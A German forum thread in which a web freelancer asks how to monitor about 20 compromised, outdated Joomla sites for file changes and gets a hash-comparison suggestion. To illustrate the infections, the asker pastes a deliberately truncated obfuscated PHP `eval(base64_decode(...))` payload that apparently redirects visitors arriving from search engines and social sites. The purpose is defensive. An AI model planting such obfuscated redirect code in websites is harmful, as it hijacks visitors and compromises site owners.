• Apfeltalk ändert einen Teil seiner Allgemeinen Geschäftsbedingungen (AGB), das Löschen von Useraccounts betreffend.
    Näheres könnt Ihr hier nachlesen: AGB-Änderung
  • Die Bildungsoffensive hier im Forum geht weiter! Jetzt sollen Kreativität und technische Möglichkeiten einen neue Dimension erreichen. Das Thema in diesem Monat lautet - Verkehrte Welt - Hier geht es lang --> Klick

Webseiten beobachten (monitoring)

Herr Sin

Ralls Genet
Registriert
05.01.04
Beiträge
5.055
Hallo zusammen.

Ich helfe einem Freund für seine Agentur und mache da diverse Webseiten. Leider wenige in HTML, sondern die meisten wollen ein CMS. Und das obwohl sie anfänglich oft, später kaum was ändern. Naja, lange Rede wenig Sinn: Nachdem ich ja meinen Job getan habe, war das alles für mich jeweils erledigt (zwischen 2 Jahre und wenigen Monaten). Nun stellt sich raus, dass einige der Kunden noch ein super altes Joomla verwenden und darum Ziel div. Angriff wurde. Die Installationen waren teilweise noch 1.7.x

Ok, nun meine Frage: Ich möchte die ganzen Seiten (zu denen ich noch kompletten Zugriff habe) gerne auf Veränderungen prüfen. Und zwar auf Dateiebene über FTP. Da Joomla doch einige viele Dateien und Verzeichnisse hat, ist es nahezu unmöglich, das händisch zu machen. Zudem handelt es sich um ungefähr 20 Webseiten, bei div. Providern.

Ich hätte gerne ein Tool (am liebsten OS X und nicht unbedingt online), welches auf meinen Wunsch hin alle Seiten durchcheckt und mit dem vergleicht, was es beim letzten Check gesehen hat. Und mir natürlich alle Änderungen der Dateien anzeigt. Oder einfach sagt: "Die Datei XY im Verzeichnis Z hat sich geändert". Klar dauert das lang, wenn man 20 Verzeichnisse und 1500 Dateien durchsuchen muss. Aber Zeit ist da nicht das Problem.

Ich habe mir irgendwann mal Simon geholt. Leider habe ich da keine große Ahnung. Ich kann da zwar einen neuen Test starten, aber irgendwie sucht der nur in einer Verzeichnisebene. Und ich habe noch nicht gefunden, wie er mir anzeigt, welche Datei sich geändert hat. Naja, das war damals ein wer-weiß-wann-man-es-brauchen-kann-Kauf.

Zudem habe ich bei Simon nicht gefunden, wie ich SFTP nutzen kann.

Also, hat mir jemand einen Tipp, wie ich ca. 20 CMS Seiten über (s)FTP monitoren kann? Sehr gerne auch die entsprechenden MySQL Datenbanken.

Oder gibt es ein FTP-Programm, welches mir die Seiten immer auf meinen Rechner synchronisiert aber auch Versionen erstellt (falls es welche gibt) - ähnlich Time Machine.


Mir ist klar, dass Kunden, die da tatsächlich wöchentlich was ändern, mir sehr viel Traffic und Nachrichten verursachen. Das sind in meinem Fall aber maximal 3 Kunden

Edit:
Ungern möchte ich auf externe Dienste wie SuperMonitoring oder watchfu.li zurück greifen, da ich den Unternehmen ungern Zugangsdaten von 20 Kunden geben will.
 

Wuchtbrumme

Golden Noble
Registriert
03.05.10
Beiträge
22.290
Download der Dateien auf Deinen Rechner, einmaliges Erstellen einer md5-Hash-Datei und dann einfach rekursives Gegentesten auf Veränderungen? Ist mit Shell-Skript in 3-4min erledigt… Ich kenne Joomla nicht - aber die CMS, die ich kenne, benutzen Datenbank-Backends. Das wäre da noch nicht mit abgefrühstückt...
 

Herr Sin

Ralls Genet
Registriert
05.01.04
Beiträge
5.055
Hm. Mit Shell-Skripts kenne ich mich nicht so aus. Ich bin da noch eher auf der Seite der Programm Anwender. Wenigstens habe ich verstanden, was du meist.

Klar ist in Joomla alles in einer Datenbank. Ich will aber vermeiden, dass Dateien mit sowas infiziert werden:
Code:
<?php	                                       			eval(base64_decode("*Qplc*MCk7DQokb*XJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJ*0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmV*VyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIH*ZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmV*1Iikgb3Igc3RyaXN0*VmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0L*RyaXN0cigkcmVmZXJlciwidGlue*iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4X*ylcJmxyXD0vIiwkcmVmZXJlcikgb3Igc*XN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIi*RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9u*NvbSIpOw0KCQlle*="));

Habe den Code mal gekürzt, in der Hoffnung, dass er noch irgendwie irgendwo irgendwas anrichten kann.

Kann ich mit deinem Tipp zB. auch die Änderung der Datei /system/admin/templates/css/style.css erkennen? Wird da mir auch direkt angezeigt, dass es diese Datei ist, oder kommt da nur "Der Hash-Wert stimmt nicht"?